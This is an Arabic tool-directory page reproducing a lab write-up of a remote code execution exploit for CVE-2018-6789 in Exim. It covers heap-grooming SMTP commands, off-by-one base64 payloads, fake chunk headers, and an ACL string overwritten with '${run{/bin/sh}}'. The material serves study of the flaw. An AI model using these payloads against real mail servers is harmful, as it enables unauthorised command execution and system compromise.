Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-6789 — استغلال لثغرة CVE-2018-6789، وهي تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في فك ترميز base64 في Exim، ما يحقق تنفيذًا عن بُعد للتعليمات البرمجية عبر تداخل الكتل (chunk overlap) ومعالجة سلاسل ACL. | Kitploit
أدوات/GitHubGitHub/beraphin/cve-2018-6789
تحليل الثغرات الأمنيةالاستغلالCTFالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubberaphin/cve-2018-6789

CVE-2018-6789

استغلال لثغرة CVE-2018-6789، وهي تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في فك ترميز base64 في Exim، ما يحقق تنفيذًا عن بُعد للتعليمات البرمجية عبر تداخل الكتل (chunk overlap) ومعالجة سلاسل ACL.

عرض المستودع
311منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-6789

إعداد البيئة

تثبيت التبعيات

root@kitploit:~
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev

تنزيل نسخة قديمة من exim

root@kitploit:~
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf

ثم عدّل Local/Makefile لتسهيل الأمر، تشير جميع المجلدات إلى الدليل الحالي

root@kitploit:~
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes

هذا يسهّل التصحيح ثم قم بالترجمة والتثبيت

root@kitploit:~
make install

عدّل ./configure واستبدل محتواه بما يلي مباشرة

root@kitploit:~
acl_smtp_mail=acl_check_mail acl_smtp_data=acl_check_data begin acl acl_check_mail: .ifdef CHECK_MAIL_HELO_ISSUED deny message = no HELO given before MAIL command condition = ${if def:sender_helo_name {no}{yes}} .endif accept acl_check_data: accept begin authenticators fixed_cram: driver = cram_md5 public_name = CRAM-MD5 server_secret = ${if eq{$auth1}{ph10}{secret}fail} server_set_id = $auth1

التشغيل

root@kitploit:~
./bin/exim -bd -d-receive

تحليل الثغرة

أولًا، لنحلل التصحيح (patch) الموجود في base64.c: 1 حيث إن result هو المخزن المؤقت الذي تُحفظ فيه نتيجة فك ترميز base64، ويتم الحصول عليه عبر الدالة store_get.

يمكن ملاحظة أن حساب size قبل التصحيح كان معيبًا؛ فعندما يقع size ضمن النطاق 4n~4n+3 يكون الطول المحسوب متساويًا، لكن b64decode عند فك ترميز مدخلات ليست من مضاعفات الرقم 4 ينتج بايتًا أو بايتين إضافيين.

على سبيل المثال، إذا أرسلنا مباشرة

root@kitploit:~
auth_md5('Hf'*42)

size=0x40
توزيع الذاكرة الناتج:

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 00  │....│....│....│....│
+0040 0x711da0  20 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

لنجرّب أيضًا

root@kitploit:~
auth_md5('Hf'*42+'HfH')

size=0x40

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0040 0x711da0  f1 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

حدث تجاوز بمقدار بايتين.

آلية إدارة الذاكرة في Exim

لتحسين الأداء، نفّذ Exim آلية إدارة ذاكرة خاصة به فوق آلية إدارة الكومة (heap) الأصلية، وهو بمثابة مخزن مؤقت وسيط بين الكود وglibc، بهدف تقليل عدد مرات استدعاء malloc وfree. 2 في Exim، تُسمى كتلة الكومة الواحدة storeblock، وفي كل مرة يُستخدم فيها المخزن، تُقتطع منه منطقة بحجم مناسب. وعندما تنفد storeblock، يتم استدعاء malloc لإنشاء storeblock جديدة.

بالنسبة لكل storeblock، بنيتها عبارة عن قائمة مرتبطة أحادية بسيطة:

root@kitploit:~
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

أهم واجهات برمجة التطبيقات (API) التي يستخدمها البرنامج عند التعامل مع الكومة موجودة في store.c:

root@kitploit:~
store_get
store_release
store_extend
store_reset

من بينها، تُستخدم store_get للحصول على المخزن المؤقت، وهذا هو الكود الأساسي:

root@kitploit:~
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161   /* If there was no free block, get a new one */

162   if (!newblock)
163     {
164     pool_malloc += mlength;           /* Used in pools */
165     nonpool_malloc -= mlength;        /* Exclude from overall total */
166     newblock = store_malloc(mlength);
...

يمكن ملاحظة أن الحد الأدنى لطول store_block المطلوب هو STORE_BLOCK_SIZE، أي 8192.

لذلك، فإن store_block بحجم 8192، بعد إضافة ترويسة بنيتها وترويسة كتلة الكومة، يصبح حجمها الإجمالي 0x2020. 3

عندما ينفّذ Exim أمرًا مرسلًا من العميل، إذا نجح التنفيذ، يستدعي store_reset لتحرير المخازن المؤقتة غير الضرورية وكتل store_block الزائدة. ويُقصد بـ«نجاح التنفيذ» هنا أن تنسيق الأمر صحيح، وأن البريد لا يحتوي على أحرف غير قانونية، وما إلى ذلك؛ وإلا فلن يتم استدعاء store_reset.

فكرة الاستغلال

هذه الثغرة هي خطأ off-by-one كلاسيكي (رغم أنه يمكن تجاوز بايتين في الواقع)، لكن لأن عدد البايتات المُتجاوزة صغير، لا يمكن الكتابة مباشرة فوق البنى الحساسة داخل كتل الكومة. لذلك نستغل بعض خصائص ptmalloc لتوسيع تأثير الثغرة وتحويلها إلى تجاوز (overflow) أو تداخل (overlap) أوسع نطاقًا. بالنسبة لثغرات off-by-one، هناك طريقة استغلال كلاسيكية هي chunk enlarge -> chunk overlap، عبر تكبير size كتلة الكومة ثم تزييف ترويسة كتلة لتجاوز فحوصات glibc السليمة، ما يؤدي إلى تداخل الكتل ويتيح تغطية نطاق أوسع.

العملية الرئيسية هنا هي chunk enlarge -> chunk overlap -> corrupt next pointer in storeblock، ثم تشغيل store_reset للتسبب في تحرير كتلة كومة عشوائية (free)، وعندما نتمكن من استعادة نفس الكتلة يمكننا تعديل محتوياتها (type confusion).

أوصى meh في مقالته بتعديل كتلة الكومة التي تحتوي على سلسلة ACL، لأن معالجة سلاسل ACL تتضمن وظيفة تنفيذ أوامر.

سلاسل ACL كثيرة جدًا، لكن معظمها NULL (ربما يعود ذلك إلى ملف الإعدادات). هنا اخترت سلسلة acl_smtp_mail، وصيغة تنفيذ الأوامر فيها هي:

root@kitploit:~
${run{command}}

التوزيع التقريبي للكومة كما يلي: 4

الكتلة الأولى هي ناتج فك ترميز base64، وتُستخدم لخطأ off-by-one، لذا يجب أن تكون في نهاية storeblock. لتسهيل الأمر، نطلب مباشرة كتلة أكبر من 0x2020 لتخزين نتيجة فك ترميز base64.

الكتلة الثانية هي sender_helo_name، وتُستخدم لتغطية الكتلة التالية. إن sender_helo_name لا تُخزَّن داخل storeblock، بل تُحجز مباشرة عبر malloc:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);

لذا يمكن أن يكون حجمها حسب الرغبة.

الكتلة الثالثة هي أيضًا ناتج فك ترميز base64، وتُستخدم أساسًا لتزييف الترويسة وتتعرض للتغطية، لذا يجب أن تكون في بداية storeblock. ولتسهيل الأمر، نطلب كتلة بحجم 0x2020 مباشرة.

الاستغلال

استغلالي (exp) بُني خطوة بخطوة بناءً على تحليلات الآخرين على الإنترنت؛ الفكرة العامة لم تتغير، لكن تخطيط الكومة يختلف قليلًا عن الآخرين، لذا تختلف بعض المعاملات الصغيرة.

أولًا، سننشئ unsortedbin بحجم 0x6060، ويمكن تحقيق ذلك بالأمر التالي فقط:

root@kitploit:~
ehlo('a'*0x1000)

عندما يستقبل Exim «EHLO » + 'a'*0x1000، فإنه يولّد السلاسل الثلاث التالية داخل الدالة match_check_list في match.c:

root@kitploit:~
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
其中*name*为'a'*0x1000

بما أن طول name هو 0x1000، فإن كل سلسلة تشغل storeblock مستقلًا، وبالتالي ستكون هذه السلاسل الثلاث في ثلاث كتل storeblock متتالية.

عندما يُكمل Exim أمر EHLO بنجاح، يحرر في smtp_setup_msg داخل smtp_in.c السلاسل الثلاث السابقة، فنحصل على كتلة كومة بحجم 0x6060:

root@kitploit:~
4369     cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370     smtp_reset(reset_point);
4371     toomany = FALSE;
4372     break;   /* HELO/EHLO */

توزيع الكومة في هذه اللحظة هو: 5

لوضع sender_helo_name في منتصف الكومة، نحتاج إلى تحرير sender_helo_name الأصلية أولًا، ثم شغل كتلة الكومة العلوية. وبعد أن تشغل sender_helo_name الثانية مكانها، نحرر الكتلة العلوية. هنا أستخدم الأمر غير المعروف (unrecognize command) لشغل المكان، لأن استقبال أمر غير معروف يعني فشل تنفيذ الأمر، وعند نجاح الأمر التالي سيُحرَّر تلقائيًا. لاحظ أن مبدأ شغل المكان باستخدام أمر غير معروف هو أنه بعد إرسال الأمر إلى Exim، يستدعي Exim الدالة synprot_error للتبليغ عن الخطأ، مثل:

root@kitploit:~
79099 LOG: smtp_syntax_error MAIN
  SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****

لكن إذا كانت جميع أحرف الأمر مرئية (قابلة للطباعة)، فلن يستدعي Exim malloc لكتلة جديدة:

root@kitploit:~
 290 const uschar *
 291 string_printing2(const uschar *s, BOOL allow_tab)
 292 {
 293 int nonprintcount = 0;
 294 int length = 0;
 295 const uschar *t = s;
 296 uschar *ss, *tt;
 297 
 298 while (*t != 0)
 299   {
 300   int c = *t++;
 301   if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
 302   length++;
 303   }
 304 
 305 if (nonprintcount == 0) return s;
 306 
 307 /* Get a new block of store guaranteed big enough to hold the
 308 expanded string. */
 309 
 310 ss = store_get(length + nonprintcount * 3 + 1);
 ...

أما إذا كان الأمر يحتوي على أحرف غير مرئية، فسيطلب Exim مخزنًا مؤقتًا جديدًا ويحوّل الأحرف غير المرئية إلى سلاسل ثمانية (octal)، مثل '\xee'->"\356". ومن هنا جاءت الصيغة length + (nonprintcount * 3 + 1).

إذًا، نضع sender_ehlo_name أولًا في كتلة صغيرة، ثم نرسل 0x800 حرفًا من '\xee'. سيؤدي ذلك إلى طلب حجم 0x800 + 1 + 0x800 * 3 = 0x2001، وبما أن storeblock الحالية لا تحتوي مكانًا بهذا الحجم، سيتم إنشاء store_block جديدة.

root@kitploit:~
ehlo('b'*0x20)
unrec('\xee'*0x800)

6

ثم نطلب sender_elho_name بحجم 0x2010:

root@kitploit:~
ehlo('x'*0x2020)

سيؤدي ذلك إلى تحرير sender_elho_name القديمة (بحجم 0x20) أولًا:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838 
1839 /* Discard any previous helo name */
1840 
1841 if (sender_helo_name != NULL)
1842   {
1843   store_free(sender_helo_name);
1844   sender_helo_name = NULL;
1845   }
...

ثم نطلب sender_helo_name جديدة. بعد اكتمال كل شيء، يُستدعى store_reset لمسح الكتل غير الضرورية، فتتحرر رسالة الخطأ (error message) بحجم 0x2020 وتندمج مع sender_helo_name المحررة أعلاه عبر malloc_consolidate لتكوين كتلة كومة جديدة بحجم 0x2050: 7

بهذا يكتمل تخطيط الكومة تقريبًا. بعد ذلك، نشغل المكان مباشرة ونُطلق الثغرة:

root@kitploit:~
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")

نشغل الكتلة العلوية ونُحدث تجاوزًا بمقدار بايت واحد لتغيير size من 0x2021 إلى 0x20f1.

ثم نشغل الكتلة السفلية ونزيّف size بقيمة 0x1f61 بحيث تشير إلى الكتلة التالية:

root@kitploit:~
payload2 = 'm'*0x38+p64(0x1f61) 
auth_md5(b64encode(payload2))

نطلب هنا كتلة كومة إضافية، لأنه بخلاف ذلك ستكون storeblock المتأثرة هي آخر storeblock وتكون قيمة next مساوية null.

root@kitploit:~
auth_md5(b64encode('a'*0x1000))

في هذه المرحلة يمكن تحرير sender_helo_name لإحداث تداخل الكتل (chunk overlap). لكن هناك نقطة يجب الانتباه إليها: ما زلنا بحاجة إلى الكتلة السفلية لتوفير مؤشر next (الذي نغطيه لتحقيق free لعنوان عشوائي)، لذلك لا نريد أن تُحرَّر هذه الكتلة. لذا يمكننا بناء name غير صالح لتحرير sender_helo_name فقط:

root@kitploit:~
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);

...
3998     HELO_EHLO:      /* Common code for HELO and EHLO */
3999     cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000     cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001 
4002     /* Reject the HELO if its argument was invalid or non-existent. A
4003     successful check causes the argument to be saved in malloc store. */
4004 
4005     if (!check_helo(smtp_cmd_data))
4006       {
...
4022       break;
4023       } 

إذا لم ينجح check_helo، سيخرج البرنامج من هذه الحلقة دون استدعاء store_reset. لنعُد إذًا لننظر إلى منطق كود check_helo:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870   /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871   that have been configured (usually underscore - sigh). */

1872   else if (*s)
1873     for (yield = TRUE; *s; s++)
1874       if (!isalnum(*s) && *s != '.' && *s != '-' &&
1875           Ustrchr(helo_allow_chars, *s) == NULL)
1876         {
1877         yield = FALSE;
1878         break;
1879         }
...
1885 return yield;
1886 }

يمكن ملاحظة أن check_helo يفحص الأحرف المرسلة؛ إذ يجب أن تكون أحرفًا أبجدية أو بعض علامات الترقيم، أو ضمن helo_allow_chars. لكن helo_alow_chars عادةً ما تكون فارغة، ويُفترض أن تكون مُهيأة في ملف الإعدادات.

لذلك يمكننا بناء sender_helo_name تحتوي على مسافات:

root@kitploit:~
ehlo('pwn it!')   #must include some invalide chars

وبهذا نحقق تداخلًا بين كتل الكومة.

بعد ذلك، نشغل هذه الكتلة لكتابة مؤشر next بحيث يشير إلى الكتلة التي تحتوي سلسلة ACL. هنا توجد مشكلة: استغلالات أخرى استخدمت التغطية الجزئية (partial overwrite) لتجاوز ASLR، لكن هذا لا يعمل في بيئتي، لأن كتلة ACL والكتلة التي يشير إليها next متباعدتان جدًا.

root@kitploit:~
pwndbg> tel 0x7214c0+0x2030
00:0000│   0x7234f0 ◂— 0x0
01:0008│   0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│   0x723500 —▸ 0x728510           <== next
03:0018│   0x723508 ◂— 0x2000

pwndbg> tel 0x6f7990                      <== acl chunk
00:0000│   0x6f7990 ◂— 0x30 /* '0' */
01:0008│   0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│   0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│   0x6f79a8 ◂— 0x2000
04:0020│   0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│   0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│   0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│   0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')

لذلك يستخدم استغلالي عنوانًا مطلقًا:

root@kitploit:~
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))

بهذه الطريقة، نضيف الكتلة التي تحتوي acl_string إلى سلسلة store_block هذه. وعندما نستبدل sender_helo_name، ستُحرَّر كل هذه الكتل داخل store_reset.

لذا يجب إرسال اسم صالح هذه المرة:

root@kitploit:~
ehlo('I'*16)

عند طلب كتلة كومة الآن، سنحصل على الكتلة التي تحتوي سلسلة ACL:

root@kitploit:~
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))

هنا أقوم بتغطية العنوان الذي يشير إليه acl_smtp_mail. بشكل أساسي، جميع سلاسل ACL موجودة داخل هذه الكتلة، لأن هذه السلاسل تُقرأ واحدًا تلو الآخر من configure ثم توضع في المخزن المؤقت الذي تُرجعه store_get، لذا فهي مخزنة بشكل متتالٍ داخل هذه storeblock.

أخيرًا، نستدعي واجهات ACL ذات الصلة:

root@kitploit:~
r.sendline('MAIL FROM: <[email protected]>')

ثم داخل smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid، يتم استدعاء execve لتنفيذ الأمر الموجود داخل run. فيما يلي معلومات التصحيح من جانب الخادم، ويمكن رؤية أن الأمر نُفّذ فعلًا. 8

المراجع

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

تنزيل الأداة